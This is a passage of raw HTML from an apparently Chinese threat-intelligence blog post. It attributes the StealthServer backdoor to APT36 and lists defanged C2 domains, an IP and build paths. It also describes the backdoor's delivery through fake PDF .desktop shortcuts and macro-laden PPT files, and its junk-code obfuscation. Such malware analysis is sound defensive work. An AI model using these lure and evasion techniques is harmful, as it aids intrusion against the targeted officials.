data-imgfileid="100000481" data-ratio="0.5120370370370371" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=433b757d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKuFWux4gbwNMed6aLKWY4KfaKXQ6ibFASxk8BQib3XpOhylDm8Ntad1bQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">关联分析</span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">基于以下几点线索，推测该后门可能与 APT36 存在一些关联。</span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">1）样本行为特征符合该组织的历史样本特征（</span><span leaf=""><a href="https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/?ref=blog.xlab.qianxin.com" target="_blank">https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/?ref=blog.xlab.qianxin.com</a></span><span leaf="">）</span></span><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">：比如使用 .desktop 分发二进制 ELF 文件，这些 .desktop 文件通常伪装为 PDF 快捷方式，文件名以及打开的 PDF 文件内容多与政治、采购、会议等话题有关且多与南亚某国相关，PDF 文件的 URL 一般以 Google Drive 链接的形式存在。</span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">2）C2 与该组织的基础设施存在关联，这点主要基于域名结构的相似性进行推测：StealthServer 使用的域名多模仿某国政府部门的站点或工具比如</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“modindia[.]serveminecraft.net”、“modgovindia[.]space”、“kavach[.]space”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，这些 C2 与近期一些针对该组织基础设施相关的分析报告</span></span><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">中提到的 IoC 存在命名结构上的相似性以及解析方面的关联性，比如</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“modindia[.]serveminecraft.net”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">和</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“modgovindia[.]space”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">在七月初解析到</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“101.99.94[.]109“</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，此外今年六月中旬还有另一个域名</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“zahcomputers.pk[.]modpersonnel.support”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">且只有该域名解析到这个 IP，这些域名与上述分析文章里提到的同期出现的疑似该组织使用的钓鱼域名比如</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“mod.gov.in[.]defencepersonnel.support”、“email.gov.in[.]modindia.link”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">等存在高度相似的结构，今年四月份 SEQRITE 发布的一份分析报告（</span><span leaf=""><a href="https://www.seqrite.com/blog/advisory-pahalgam-attack-themed-decoys-used-by-apt36-to-target-the-indian-government/?ref=blog.xlab.qianxin.com" target="_blank">https://www.seqrite.com/blog/advisory-pahalgam-attack-themed-decoys-used-by-apt36-to-target-the-indian-government/?ref=blog.xlab.qianxin.com</a></span><span leaf="">）</span></span><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">中提到该组织使用了大量类似上述“.support”、“.link”等结构的域名用于钓鱼。</span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">3）部分分析报告（</span><span leaf=""><a href="https://www.cloudsek.com/blog/investigation-report-apt36-malware-campaign-using-desktop-entry-files-and-google-drive-payload-delivery?ref=blog.xlab.qianxin.com" target="_blank">https://www.cloudsek.com/blog/investigation-report-apt36-malware-campaign-using-desktop-entry-files-and-google-drive-payload-delivery?ref=blog.xlab.qianxin.com</a></span><span leaf="">）</span></span><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">和安全研究人员的公开数据（</span><span leaf=""><a href="https://x.com/Cyberteam008/status/1966104752779047237?ref=blog.xlab.qianxin.com" target="_blank">https://x.com/Cyberteam008/status/1966104752779047237?ref=blog.xlab.qianxin.com</a></span><span leaf="">）</span></span><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">将某些 C2 标记为该组织所属。</span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">StealthServer 样本分析</span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">Windows 和 Linux 平台的样本都使用 Golang 开发，且开发路径几乎一致，基本符合</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">*/bossmaya/*/obfuscated*.go</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">这一结构，我们收集了两种平台的一些开发路径如下所示。</span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">EXE:</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/linuxnewdownloader/windows-client/obfuscated_main.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/newblkul/client/client_obfuscated.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/newblkul/client/client.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">ELF:</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/client/obfuscated_client.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/newlinuxblkul/client/main_obfuscated.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">/home/boss/Desktop/tgtfile/main_obfuscated_enhanced.go</span></span></code></pre><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">样本加载方面，Windows 的样本使用包含恶意宏代码的 PPT 文档作为加载文件，Linux 的样本则使用该组织惯用的 .desktop 文件。尽管两种平台的样本在具体功能上略有差异，但仍表现出较多共性，除了高度相似的开发路径以外，还有类似的虚拟环境检测、持久化等方法。但综合来看，以下两点是两个平台的样本最突出的共同特征。</span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">（1）相似的代码结构，前面大片的代码都是垃圾代码和垃圾函数调用，核心代码放在尾部，这可以有效拖慢分析过程，如下图所示。</span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img alt="ProcessGraph.jpg" class="rich_pages wxw-img" data-imgfileid="100000482" data-ratio="0.6305555555555555" data-w="1080" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=e6ac8711&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKmFRcJ4pRLLDbxdRAwW8VKkItvgKcictXTGHbFCiaNrmyicPdJttiaLWD4w%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira 